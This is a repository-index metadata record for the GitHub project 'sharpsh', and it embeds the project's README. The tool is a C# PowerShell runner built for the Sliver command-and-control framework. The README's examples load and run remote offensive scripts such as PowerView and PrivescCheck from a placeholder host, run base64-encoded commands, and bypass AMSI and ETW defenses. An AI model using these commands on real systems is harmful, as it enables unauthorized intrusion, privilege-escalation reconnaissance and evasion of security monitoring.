{"id":34613299,"url":"https://github.com/thelikes/sharpsh","last_synced_at":"2026-05-08T06:02:24.397Z","repository":{"id":59645579,"uuid":"537814787","full_name":"thelikes/sharpsh","owner":"thelikes","description":"C# .Net Framework program that uses RunspaceFactory for Powershell command execution.","archived":false,"fork":false,"pushed_at":"2022-11-09T19:44:58.000Z","size":35,"stargazers_count":3,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2023-03-07T20:44:28.886Z","etag":null,"topics":["bof","csharp","dotnet","powershell","sliver"],"latest_commit_sha":null,"homepage":"","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/thelikes.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-09-17T13:20:16.000Z","updated_at":"2022-10-24T13:34:21.000Z","dependencies_parsed_at":"2022-09-19T19:12:08.150Z","dependency_job_id":null,"html_url":"https://github.com/thelikes/sharpsh","commit_stats":null,"previous_names":[],"tags_count":null,"template":null,"template_full_name":null,"purl":"pkg:github/thelikes/sharpsh","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thelikes%2Fsharpsh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thelikes%2Fsharpsh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thelikes%2Fsharpsh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thelikes%2Fsharpsh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/thelikes","download_url":"https://codeload.github.com/thelikes/sharpsh/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/thelikes%2Fsharpsh/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28003727,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-12-24T02:00:07.193Z","response_time":83,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bof","csharp","dotnet","powershell","sliver"],"created_at":"2025-12-24T14:18:32.328Z","updated_at":"2025-12-24T14:18:39.373Z","avatar_url":"https://github.com/thelikes.png","language":"C#","funding_links":[],"categories":[],"sub_categories":[],"readme":"# sharpsh\r\nC# .Net Framework program that uses `RunspaceFactory` for Powershell command execution. Built for use with `execute-assembly -E -M -i ...` in [BishopFox/Sliver](https://github.com/bishopfox/sliver).\r\n\r\n## Features\r\n- Execute Powershell commands\r\n- Load \u0026 execute remote script\r\n- Multiple command \u0026 script support\r\n- Encoded command support\r\n- Load \u0026 execute script from clipboard\r\n\r\n## Usage\r\n\r\n```\r\nsharpsh 1.0.0.0\r\nCopyright c  2022\r\n\r\n  -c, --cmd          Required. Powershell command to run\r\n\r\n  -u, --uri          Fetch script from URI\r\n\r\n  -p, --clipboard    Fetch script from clipboard\r\n\r\n  -e, --encoded      Encodeded command (base64)\r\n\r\n  --help             Display this help screen.\r\n\r\n  --version          Display version information.\r\n```\r\n\r\n## Examples\r\n\r\n```\r\n# execute powershell command\r\nPS \u003e .\\sharpsh.exe -c whoami\r\n\r\n# execute base64 encoded powershell command\r\nPS \u003e .\\sharpsh.exe -e -c d2hvYW1pCg==\r\n\r\n# load script from clipboard and execute command\r\nPS \u003e .\\sharpsh.exe -p -c Get-NetLocalGroup\r\n\r\n# load remote script and execute\r\nPS \u003e .\\sharpsh.exe -u http://x.x.x.x/PowerView.ps1 -c get-netlocalgroup\r\n\r\n# load remote script and execute encoded command\r\nPS \u003e .\\sharpsh.exe -u http://x.x.x.x/PowerView.ps1 -e -c R2V0LU5ldExvY2FsR3JvdXAK\r\n\r\n# execute multiple powershell commands\r\nPS \u003e .\\sharpsh.exe -c hostname,whoami\r\n\r\n# execute multiple powershell commands using multiple scripts\r\nPS \u003e .\\sharpsh.exe -c get-netlocalgroup,invoke-privesccheck -u http://x.x.x.x/PowerView.ps1,http://x.x.x.x/PrivescCheck.ps1 -b\r\n\r\n# sliver inline \u0026 bypass AMSI + ETW\r\nsliver \u003e execute-assembly -M -E -i /tools/sharpsh.exe -c get-netlocalgroup -u http://x.x.x.x/psh/PowerSploit/Recon/PowerView.ps1\r\n```\r\n\r\n## Planned\r\n- Load \u0026 execute embedded script\r\n- Load \u0026 execute script from disk\r\n- Compression \u0026 encryption support for scripts\r\n\r\n\r\n## Build\r\nBuilt using .NET Framework v4.5.1 in Visual Studio 2019.\r\n\r\nBe sure to add `c:\\windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll` as a reference.\r\n\r\nThe project uses [`dnMerge`](https://github.com/CCob/dnMerge) so it has to be compiled in `Release` mode.","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthelikes%2Fsharpsh","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fthelikes%2Fsharpsh","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fthelikes%2Fsharpsh/lists"}